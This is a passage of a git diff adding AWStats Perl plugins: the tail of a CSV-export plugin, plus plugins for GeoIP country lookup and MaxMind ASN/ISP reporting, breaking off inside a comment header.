"".($rest_k?Format_Bytes($rest_k/($rest_p||1)):" ").""; } print $fld_termd; if ($ShowPagesStats =~ /E/i) { print "".($rest_e?$rest_e:" ").""; } print $fld_termd; if ($ShowPagesStats =~ /X/i) { print "".($rest_x?$rest_x: "").""; } print $fld_termd; print $ln_termd; } } # BY MONTH #--------------------------------------------------------------------- sub CSVmonths { $MonthRequired="all"; # Loop on each month of year for (my $ix=12; $ix>=1; $ix--) { my $monthix=sprintf("%02s",$ix); if ($MonthRequired eq 'all' || $monthix eq $MonthRequired) { &Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"all"); # Read full history file #&Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"general time"); # Read full history file } # elsif (($HTMLOutput{'main'} && $ShowMonthStats) || $HTMLOutput{'alldays'}) { # &Read_History_With_TmpUpdate($YearRequired,$monthix,0,0,"general time"); # Read general and time sections. # print "b"; # } } my $title="$Message[162]"; $average_nb=$average_u=$average_v=$average_p=$average_h=$average_k=0; $total_u=$total_v=$total_p=$total_h=$total_k=0; $max_v=$max_p=$max_h=$max_k=1; # Define total and max for (my $ix=1; $ix<=12; $ix++) { my $monthix=sprintf("%02s",$ix); $total_u+=$MonthUnique{$YearRequired.$monthix}||0; $total_v+=$MonthVisits{$YearRequired.$monthix}||0; $total_p+=$MonthPages{$YearRequired.$monthix}||0; $total_h+=$MonthHits{$YearRequired.$monthix}||0; $total_k+=$MonthBytes{$YearRequired.$monthix}||0; #if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; } if (($MonthVisits{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthVisits{$YearRequired.$monthix}; } #if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; } if (($MonthHits{$YearRequired.$monthix}||0) > $max_h) { $max_h=$MonthHits{$YearRequired.$monthix}; } if (($MonthBytes{$YearRequired.$monthix}||0) > $max_k) { $max_k=$MonthBytes{$YearRequired.$monthix}; } } # Show data array for month if ($AddDataArrayMonthStats) { print "$Message[5]"; print $fld_termd; if ($ShowMonthStats =~ /U/i) { print decode_entities($Message[11]); } print $fld_termd; if ($ShowMonthStats =~ /V/i) { print decode_entities($Message[10]); } print $fld_termd; if ($ShowMonthStats =~ /P/i) { print decode_entities($Message[56]); } print $fld_termd; if ($ShowMonthStats =~ /H/i) { print decode_entities( $Message[57]); } print $fld_termd; if ($ShowMonthStats =~ /B/i) { print decode_entities($Message[75]); } print $fld_termd; print $ln_termd; for (my $ix=1; $ix<=12; $ix++) { my $monthix=sprintf("%02s",$ix); print (! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'':''); print "$MonthNumLib{$monthix} $YearRequired"; print (! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'':''); print $fld_termd; if ($ShowMonthStats =~ /U/i) { print "",$MonthUnique{$YearRequired.$monthix}?$MonthUnique{$YearRequired.$monthix}:"0",""; } print $fld_termd; if ($ShowMonthStats =~ /V/i) { print "",$MonthVisits{$YearRequired.$monthix}?$MonthVisits{$YearRequired.$monthix}:"0",""; } print $fld_termd; if ($ShowMonthStats =~ /P/i) { print "",$MonthPages{$YearRequired.$monthix}?$MonthPages{$YearRequired.$monthix}:"0",""; } print $fld_termd; if ($ShowMonthStats =~ /H/i) { print "",$MonthHits{$YearRequired.$monthix}?$MonthHits{$YearRequired.$monthix}:"0",""; } print $fld_termd; if ($ShowMonthStats =~ /B/i) { print "",Format_Bytes(int($MonthBytes{$YearRequired.$monthix}||0)),""; } print $ln_termd; } } } #------------------------------------------------------------------------------ # Function: Return the string to add in html tag to include popup javascript code # Parameters: $title # Input: None # Output: None # Return: string with javascript code #------------------------------------------------------------------------------ sub TabHeadHTML_export_to_csv { my $title=shift; my $export_section; if(substr($title,0,length($Message[128])) eq $Message[128]) { #$export_section="monthsummary"; } elsif(substr($title,0,length($Message[162])) eq $Message[162]) { $export_section="monthhistory"; } elsif(substr($title,0,length($Message[19])) eq $Message[19]) { $export_section="pageurl"; } elsif(substr($title,0,length($Message[138])) eq $Message[138]) { $export_section="monthdays"; } if($export_section) { #return ($EXPORTCSVON?" - <a href=\"awstats.pl?pluginmode=export_to_csv&month=$MonthRequired&year=$YearRequired&framename=mainright&exportcsv=$export_section\">Export CSV</a>":""); return (" - <a href=\"awstats.pl?pluginmode=export_to_csv&month=$MonthRequired&year=$YearRequired&framename=mainright&exportcsv=$export_section\">Export CSV</a>"); } else { return ''; } } 1; # Do not remove this line \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip.pm new file mode 100644 index 0000000..dd4b665 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip.pm @@ -0,0 +1,263 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp Maxmind AWStats plugin +# This plugin allow you to get country report with countries detected +# from a Geographical database (GeoIP internal database) instead of domain +# hostname suffix. +# Need the country database from Maxmind (free). +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.31 $ - $Author: eldy $ - $Date: 2010/08/04 12:38:02 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='geoip'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.4"; +my $PluginHooksFunctions="GetCountryCodeByAddr GetCountryCodeByName ShowInfoHost"; +my $PluginName = "geoip"; +my $LoadedOverride=0; +my $OverrideFile=""; +my %TmpDomainLookup; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$gi +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoip { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override)=split(/\+/,$tmpdatafile,2); + if (! $datafile) { $datafile="$PluginName.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + if ($override){$OverrideFile=$override;} + %TmpDomainLookup=(); + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode override=$override",1); + if ($type eq 'geoippureperl') { + $gi = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $gi = Geo::IP->open($datafile, $mode); + } + +# Fails on some GeoIP version +# debug(" Plugin geoip: GeoIP initialized database_info=".$gi->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByAddr_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByAddr is called to translate an ip into a country code in lower case. +#----------------------------------------------------------------------------- +sub GetCountryCodeByAddr_geoip { + my $param="$_[0]"; + # <----- + if (! $param) { return ''; } + my $res= TmpLookup_geoip($param); + if (! $res) { + $res=lc($gi->country_code_by_addr($param)) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: Already resolved to [$res]",5); } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByName_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByName is called to translate a host name into a country code in lower case. +#----------------------------------------------------------------------------- +sub GetCountryCodeByName_geoip { + my $param="$_[0]"; + # <----- + if (! $param) { return ''; } + my $res = TmpLookup_geoip($param); + if (! $res) { + $res=lc($gi->country_code_by_name($param)) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: Already resolved to [$res]",5); } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ tr/&/&/s; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + + print "<th width=\"80\">"; + print "<a href=\"#countries\">GeoIP<br />Country</a>"; + print "</th>"; + } + elsif ($param) { + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + print "<td>"; + if ($key && $ip==4) { + my $res = TmpLookup_geoip($param); + if (!$res){$res=lc($gi->country_code_by_addr($param)) if $gi;} + if ($Debug) { debug(" Plugin $PluginName: GetCountryByIp for $param: [$res]",5); } + if ($res) { print $DomainsHashIDLib{$res}?$DomainsHashIDLib{$res}:"<span style=\"color: #$color_other\">$Message[0]</span>"; } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + if ($key && $ip==6) { + print "<span style=\"color: #$color_other\">$Message[0]</span>"; + } + if (! $key) { + my $res = TmpLookup_geoip($param); + if (!$res){$res=lc($gi->country_code_by_name($param)) if $gi;} + if ($Debug) { debug(" Plugin $PluginName: GetCountryByHostname for $param: [$res]",5); } + if ($res) { print $DomainsHashIDLib{$res}?$DomainsHashIDLib{$res}:"<span style=\"color: #$color_other\">$Message[0]</span>"; } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,2-char Country code +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # store in hash + $TmpDomainLookup{$record[0]} = $record[1]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpDomainLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip();} + #my $val; + #if ($gi && + #(($type eq 'geoip' && $gi->VERSION >= 1.30) || + # $type eq 'geoippureperl' && $gi->VERSION >= 1.17)){ + # $val = $TmpDomainLookup{$gi->get_ip_address($param)}; + #} + #else {$val = $TmpDomainLookup{$param};} + #return $val || ''; + return $TmpDomainLookup{$param}||''; +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_asn_maxmind.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_asn_maxmind.pm new file mode 100644 index 0000000..5896f99 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_asn_maxmind.pm @@ -0,0 +1,539 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp_ASN_Maxmind AWStats plugin +# This plugin allow you to add ASN information to a report +# Requires the free ASN database from MaxMind +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.6 $ - $Author: eldy $ - $Date: 2010/09/29 19:16:10 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='GeoIPASNum'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.2"; +my $PluginHooksFunctions="AddHTMLMenuLink AddHTMLGraph ShowInfoHost + SectionInitHashArray SectionProcessIp SectionProcessHostname + SectionReadHistory SectionWriteHistory"; +my $PluginName="geoip_asn_maxmind"; +my $LoadedOverride=0; +my %TmpLookup; +my $LookupLink=""; +my $OverrideFile=""; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$geoip_asn_maxmind +%_asn_p +%_asn_h +%_asn_k +%_asn_l +$MAXNBOFSECTIONGIR +$MAXLENGTH +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +# Parameters: $mode - Whether to load into memory or search file for lookups +# Values: GEOIPSTANDARD () or GEOIP_MEMORY_CACHE +# $datafile - Path to the GEOIP Data file. Defaults to local directory +# $override - Path to an override file +# $link - ASN lookup link to a page with more information. Appends +# the AS number at the end. For example: +# $link=http://www.lookup.net/lookup.php?asn={ASNUMBER} +#----------------------------------------------------------------------------- +sub Init_geoip_asn_maxmind { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + $MAXNBOFSECTIONGIR=10; + $MAXLENGTH=20; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override,$link)=split(/\+/,$tmpdatafile,3); + if (! $datafile) { $datafile="GeoIPASNum.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + # With pureperl with always use GEOIP_STANDARD. + # GEOIP_MEMORY_CACHE seems to fail with ActiveState + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + # if there is a url in the override field, move it to link + if (lc($override) =~ m/^http/) { $link = $override; $override = ''; } + elsif ($override) { $override =~ s/%20/ /g; $OverrideFile=$override; } + if ($link){$LookupLink=$link;} + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode, override=$override, link=$link",1); + if ($type eq 'geoippureperl') { + $geoip_asn_maxmind = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $geoip_asn_maxmind = Geo::IP->open($datafile, $mode); + } +# Fails on some GeoIP version +# debug(" Plugin geoip_org_maxmind: GeoIP initialized database_info=".$geoip_asn_maxmind->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuLink_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLMenuLink_geoip_asn_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + if ($Debug) { debug(" Plugin $PluginName: AddHTMLMenuLink"); } + if ($categ eq 'who') { + $menu->{"plugin_$PluginName"}=0.7; # Pos + $menulink->{"plugin_$PluginName"}=2; # Type of link + $menutext->{"plugin_$PluginName"}="ASNs"; # Text + } + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLGraph_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLGraph_geoip_asn_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + my $ShowISP='H'; + $MinHit{'Org'}=1; + my $total_p; my $total_h; my $total_k; + my $rest_p; my $rest_h; my $rest_k; + + if ($Debug) { debug(" Plugin $PluginName: AddHTMLGraph $categ $menu $menulink $menutext"); } + my $title='AS Numbers'; + &tab_head("$title",19,0,'org'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>AS Numbers: ".((scalar keys %_asn_h)-($_asn_h{'unknown'}?1:0))."</th>"; + print "<th>ISP</th>\n"; + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } + if ($ShowISP =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; } + print "</tr>\n"; + $total_p=$total_h=$total_k=0; + my $count=0; + &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Org'},\%_asn_h,\%_asn_h); + foreach my $key (@keylist) { + if ($key eq 'unknown') { next; } + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($_asn_p{$key}/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($_asn_h{$key}/$TotalHits*1000)/10; } + print "<tr>"; + my $asn=$key; $asn =~ s/_/ /g; + my $idx = index($asn, ' '); + # get lookup link + my $link = ''; + if ($LookupLink){ + if ($idx < 0 && $asn =~ m/^A/){ $link .= $LookupLink.$asn; } + elsif (substr($asn, 0, $idx) =~ m/^A/){$link .= $LookupLink.substr($asn, 0, $idx); } + if ($link){ $link = "<a target=\"_blank\" href=\"".$link."\">";} + } + print "<td class=\"aws\">".$link.ucfirst(($idx > -1 ? substr($asn, 0, $idx) : $asn)); + print ($link ? "</a>" : "")."</td>"; + print "<td class=\"aws\">".($idx > -1 ? substr($asn, $idx+1) : " ")."</td>\n"; + if ($ShowISP =~ /P/i) { print "<td>".($_asn_p{$key}?Format_Number($_asn_p{$key}):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($_asn_p{$key}?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_asn_h{$key}?Format_Number($_asn_h{$key}):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_asn_h{$key}?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($_asn_k{$key})."</td>"; } + if ($ShowISP =~ /L/i) { print "<td>".($_asn_p{$key}?Format_Date($_asn_l{$key},1):'-')."</td>"; } + print "</tr>\n"; + $total_p += $_asn_p{$key}||0; + $total_h += $_asn_h{$key}; + $total_k += $_asn_k{$key}||0; + $count++; + } + if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); } + $rest_p=0; + $rest_h=$TotalHits-$total_h; + $rest_k=0; + if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other cities +# print "<tr>"; +# print "<td class=\"aws\"> </td>"; +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /B/i) { print "<td> </td>"; } +# if ($ShowISP =~ /L/i) { print "<td> </td>"; } +# print "</tr>\n"; + + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($rest_p/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($rest_h/$TotalHits*1000)/10; } + print "<tr>"; + print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]/$Message[0]</span></td>"; + print "<td class=\"aws\"> </td>\n"; + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?Format_Number($rest_p):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?Format_Number($rest_h):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; } + if ($ShowISP =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip_asn_maxmind { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + + print "<th width=\"80\">"; + print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_$PluginName"):"$StaticLinks.plugin_$PluginName.$StaticExt")."\"$NewLinkTarget>GeoIP<br />ASN</a>"; + print "</th>"; + } + elsif ($param) { + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + print "<td>"; + my $asn = 0; + if ($key && $ip==4) { + $asn = TmpLookup_geoip_asn_maxmind($param); + if (!$asn && $type eq 'geoippureperl') + { + # Function org_by_addr does not exists in PurePerl but org_by_name do same + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + elsif (!$asn) + { + $asn=$geoip_asn_maxmind->org_by_addr($param) if $geoip_asn_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetASNByIp for $param: [$asn]",5); } + } + if ($key && $ip==6) { + debug(" Plugin $PluginName: IPv6 not supported by MaxMind Free DBs: $key",3); + } + if (! $key) { + $asn = TmpLookup_geoip_asn_maxmind($param); + if (!$asn && $type eq 'geoippureperl') + { + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + elsif (!$asn) + { + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByHostname for $param: [$asn]",5); } + } + if (length($asn)>0) { + my $link = ''; + my $idx = index(trim($asn), ' '); + if ($LookupLink){ + if ($idx < 0 && $asn =~ m/^A/){ $link .= $LookupLink.$asn; } + elsif (substr($asn, 0, $idx) =~ m/^A/){$link .= $LookupLink.substr($asn, 0, $idx); } + } + if ($link){ $link = "<a target=\"_blank\" href=\"".$link."\">";} + if ($idx > -1 ) {$asn = substr(trim($asn), $idx+1);} + if (length($asn) <= $MAXLENGTH) { + print "$link$asn".($link ? "</a>" : ""); + } + else { + print $link.substr($asn,0,$MAXLENGTH).'...'.($link ? "</a>" : ""); + } + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_geoip_asn_maxmind { +# my $param="$_[0]"; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Init_HashArray"); } + %_asn_p = %_asn_h = %_asn_k = %_asn_l =(); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessIP_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_geoip_asn_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $asn = TmpLookup_geoip_asn_maxmind($param); + if (!$asn && $type eq 'geoippureperl') + { + # Function org_by_addr does not exists in PurePerl but org_by_name do same + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + elsif (!$asn) + { + $asn=$geoip_asn_maxmind->org_by_addr($param) if $geoip_asn_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetASNByIp for $param: [$asn]",5); } + if ($asn) { + $asn =~ s/\s/_/g; + $_asn_h{$asn}++; + } else { + $_asn_h{'unknown'}++; + } +# if ($timerecord > $_asn_l{$city}) { $_asn_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_geoip_asn_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $asn = TmpLookup_geoip_asn_maxmind($param); + if (!$asn && $type eq 'geoippureperl') + { + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + elsif (!$asn) + { + $asn=$geoip_asn_maxmind->org_by_name($param) if $geoip_asn_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByHostname for $param: [$asn]",5); } + if ($asn) { + $asn =~ s/\s/_/g; + $_asn_h{$asn}++; + } else { + $_asn_h{'unknown'}++; + } +# if ($timerecord > $_asn_l{$city}) { $_asn_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: 